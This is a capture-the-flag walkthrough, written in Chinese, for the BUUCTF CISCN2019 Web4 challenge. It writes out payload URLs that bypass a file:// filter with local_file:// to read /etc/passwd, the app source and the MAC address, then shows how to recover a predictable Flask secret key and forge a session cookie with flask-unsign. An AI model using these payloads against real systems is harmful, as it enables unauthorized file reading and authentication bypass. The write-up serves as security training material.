BUUCTF-[CISCN2019 华东南赛区]Web4
BUUCTF-[CISCN2019 华东南赛区]Web4
看题
点击Read somethings,会跳转到
http://3fd8b1f9-614f-47ff-8e79-0f678e7bb4eb.node3.buuoj.cn/read?url=https://baidu.com
看url应该不是PHP,因为PHP几乎没有用这种路由,直接猜flask。使用read?url=local_file:///etc/passwd
读取内容。
读取源码:read?url=local_file:///app/app.py
import re, random, uuid, urllib
from flask import Flask, session, request
app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True
@app.route('/')
def index():
session['username'] = 'www-data'
return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'
@app.route('/read')
def read():
try:
url = request.args.get('url')
m = re.findall('^file.*', url, re.IGNORECASE)
n = re.findall('flag', url, re.IGNORECASE)
if m or n:
return 'No Hack'
res = urllib.urlopen(url)
return res.read()
except Exception as ex:
print str(ex)
return 'no response'
@app.route('/flag')
def flag():
if session and session['username'] == 'fuck':
return open('/flag.txt').read()
else:
return 'Access denied'
if __name__=='__main__':
app.run(
debug=True,
host="0.0.0.0"
)
看这个地方
def flag():
if session and session['username'] == 'fuck':
return open('/flag.txt').read()
else:
return 'Access denied'
当session中username=fuck时,可以直接得到flag。
所以,骚操作来了:伪造session。
session可不是乱替换的,它是有备而来......(=_=)
准备
伪造session需要密钥,而密钥的生成方式源码也已经给出了。
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
对于伪随机数,当seed固定时,生成的随机数是可以预测的,也就是顺序固定的,所以只要知道seed的值即可。这里的seed使用的uuid.getnode()
函数,该函数用于获取Mac地址并将其转换为整数。所以我们还需要读一下Mac地址。
local_file:///sys/class/net/eth0/address
得到Mac地址(每个人都不一样):
02:42:ac:10:a1:50
用python2生成随机数,用python3的话生成小数的位数会不一样。
import random
random.seed(0x0242ac10a150)
print(str(random.random()*233))
得到随机数
222.550669756
session替换
有很多大佬用的是flask-session-cookie-manager-master这个工具,
我也用了,捣鼓了半天,一直报错。。。
然后师哥给我发了这个,他说:“你在练死劲,那不好使。”
https://github.com/Paradoxis/Flask-Unsign
具体安装过程在README.md中,内容是英文,加油!
(这个工具需要python版本大于等于3.6。
个人感觉在kali-Linux环境下更好安装和使用)
安装过程中
如果在执行该命令时报错
pip3 install flask-unsign[wordlist]
可以试着对pip3进行换源,很简单,可以去百度搜一下
(不过,我还是给出来了啦(=_=))
【临时使用国内源】
pip install -i https://pypi.tuna.tsinghua.edu.cn/simple some-package
【设为默认】(设置默认的话,pip版本是需要更新的)
pip install pip -U
pip config set global.index-url https://pypi.tuna.tsinghua.edu.cn/simple
安装完后
flask-unsign --decode --cookie 'eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.YJuCKw.COSA9fupuOO-gxLmD0q5u_lkLCY'
对session解密后得到{'username': b'www-data'}
把www-data
替换为fuck
,即{'username':b'fuck'}
然后对其进行加密
flask-unsign --sign --cookie '{'username':b'fuck'}' --secret '222.550669756' --no-literal-eval
就会生成替换的session
Int1c2VybmFtZTpiZnVja30i.YJvEYg.fL7nrdiYaqWOKWTv6800WKws9tM
替换后,读取flag
http://3fd8b1f9-614f-47ff-8e79-0f678e7bb4eb.node3.buuoj.cn/flag
就能得到flag了。
这题挺考验我的,因为我太菜了(=_=)
BUUCTF-[CISCN2019 华东南赛区]Web4的更多相关文章
- BUU-CTF[CISCN2019 华东南赛区]Web11
BUU-CTF[CISCN2019 华东南赛区]Web11 页面最下端有提示Build with Smarty ! 确定页面使用的是Smarty模板引擎.输入{$smarty.version}就可以看 ...
- 刷题[CISCN2019 华东南赛区]Web4
解题思路 打开有一个链接,那先点击一下 发现url处,很像命令执行,试一试.发现无论是什么都是no response,又是各种尝试 发现直接传?url=/etc/passwwd可以爆出回显,难道不是命 ...
- [BJDCTF2020]The mystery of ip|[CISCN2019 华东南赛区]Web11|SSTI注入
记录一下BUUCTF中两个类似的SSTI注入关卡 [BJDCTF2020]The mystery of ip-1: 1.打开之后显示如下: 2.在hint.php中进行了相关提示,如下: 3.既然获取 ...
- [CISCN2019 华东南赛区]Web11
[CISCN2019 华东南赛区]Web11 写在前面 参考文章:Smarty SSTI 1.{php}{/php} Smarty已经废弃{php}标签,强烈建议不要使用.在Smarty 3.1,{p ...
- [CISCN2019 华东南赛区]Double Secret
0x01 进入页面如下 提示我们寻找secret,再加上题目的提示,猜测这里有secret页面,我们尝试访问,结果如下 根据它这个话的意思,是让我们传参,然后它会给你加密,我们试一下 发现输入的1变成 ...
- 刷题记录:[CISCN2019 总决赛 Day1 Web4]Laravel1
目录 刷题记录:[CISCN2019 总决赛 Day1 Web4]Laravel1 解题过程 刷题记录:[CISCN2019 总决赛 Day1 Web4]Laravel1 题目复现链接:https:/ ...
- BUU XSS COURSE 1 & [CISCN2019 华东北赛区]Web2
BUU XSS COURSE 1 & [CISCN2019 华东北赛区]Web2 XSS的题目没怎么做过,比赛基本上也没有(=_=),总结下今天做的两题 都是看赵总视频现学现做的,这里附上学习 ...
- BUUCTF | [CISCN2019 华北赛区 Day1 Web2]ikun
步骤: 找到lv6的购买出,修改折扣买lv6 :然后找到admin的登陆界面,JWT破解,登陆admin :点击一键成为大会员,利用python反序列化漏洞读取flag 解析: 这题师傅们的WP已经很 ...
- BUUCTF | [CISCN2019 华北赛区 Day1 Web1]Dropbox
步骤: 1.运行这个: <?php class User { public $db; } class File { public $filename; } class FileList { pr ...
随机推荐
- odoo视图 “动作” 里添加菜单按钮:案例
####################################################################################odoo中常用方法,在动作里面添 ...
- vue 使用 lang="scss" 报错
npm install sass-loader@7.3.1 --save-dev npm install node-sass --save npm install style-loader --sav ...
- APICloud的真机wifi连接问题
APICloud的真机wifi连接问题 在APICloud的真机wifi连接时需要注意事项与解决问题. 1.首先将项目拉取到本地,用APICloud Studio 2打开(也可以用webStorm配置 ...
- Spring Messaging 远程命令执行漏洞(CVE-2018-1270)
影响版本 Spring Framework 5.0 to 5.0.4 Spring Framework 4.3 to 4.3.14 参考 https://www.it610.com/article/1 ...
- 浅谈Blazor开发的那些事
在这篇文章中,我们将解决一些常见的Blazor问题.具体来说就是"什么是Blazor",但更重要的是"为什么要用Blazor".既然我们已经有了Angular. ...
- netty系列之:基于流的数据传输
目录 简介 package和byte 手动组合 Byte的转换类 ReplayingDecoder 总结 简介 我们知道由两种数据的传输方式,分别是字符流和字节流,字符流的意思是传输的对象就是字符串, ...
- laod
https://iiio.io/download/20170120/ https://laod.cn/hosts/2017-google-hosts.html Copyright (c) 老D博客:h ...
- Linux 内核的代码仓库太不一样了,光克隆都让我挠头,克隆后居然还丢文件,你肯定也会遇到!!!
一个肯定能让你节省几个小时的小知识 大家好,我是 小猿来也,一个人称撸(划)码(水)小能手的程序猿. 最近一段时间,每次经过旁边大佬工位,总是发现他在快速的切屏,不知道在搞什么?难道他发现了快乐星球? ...
- UNIX环境高级编程APUE练习4.6-实现类似cp(1)的程序,保留文件中的空洞
1 题面 编写类似cp(1)的程序,它复制包含空洞的文件,但是不将字节0写到输出文件中去. 2 基本思路 首先要搞清楚空洞的性质以判断一个文件是否有空洞,以及空洞的位置 知道了空洞的位置之后,读到源文 ...
- 040_Spring注解开发
目录 Spring注解开发 bean注册到Spring容器中 applicationContext.xml添加包扫描注解 实体类添加注解@Component 属性注入 属性添加注解@Value(&qu ...